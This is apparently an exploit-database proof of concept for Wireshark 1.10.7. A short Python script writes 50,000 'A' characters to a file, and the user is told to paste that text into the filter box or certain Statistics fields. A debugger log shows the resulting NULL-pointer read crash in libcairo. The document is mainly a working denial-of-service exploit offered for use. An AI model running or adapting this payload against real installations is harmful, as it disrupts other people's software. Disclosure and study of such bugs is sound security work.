Wireshark 1.10.7

#!/usr/bin/python

# Exploit Title: Wireshark Read Access Violation near NULL starting at libcairo_2!cairo_image_surface_get_data()

# Date: May 15th 2014

# Author: Osanda Malith Jayathissa

# E-Mail: osandajayathissa<[at]>gmail.com

# Version: 1.10.7 32-bit and 64-bit

# Vendor Homepage: http://www.wireshark.org

# Tested on: Windows 8 64-bit

'''

The issue is with the cairo_image_surface_get_data() function in Cairo.

These fields are vulnerable:

- Filter text box

- Statistics -> IP DESTINATIONS

- Statistics -> IP Addresses

Paste the generated text in any one of above fields and hit return.

'''

payload = "A" * 50000

file = open('exploit.txt', "w")

file.write(payload)

file.close()

'''

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Wireshark32\libcairo-2.dll -

eax=00000000 ebx=052dabf0 ecx=77bc2ad2 edx=612fc6e0 esi=00000000 edi=612fc6e0

eip=61291737 esp=008cdca0 ebp=00000000 iopl=0 nv up ei pl nz na pe nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206

libcairo_2!cairo_image_surface_get_data+0x7:

61291737 8138609d2f61    cmp     dword ptr [eax],offset libcairo_2!cairo_tee_surface_index+0xd080 (612f9d60) ds:002b:00000000=????????

'''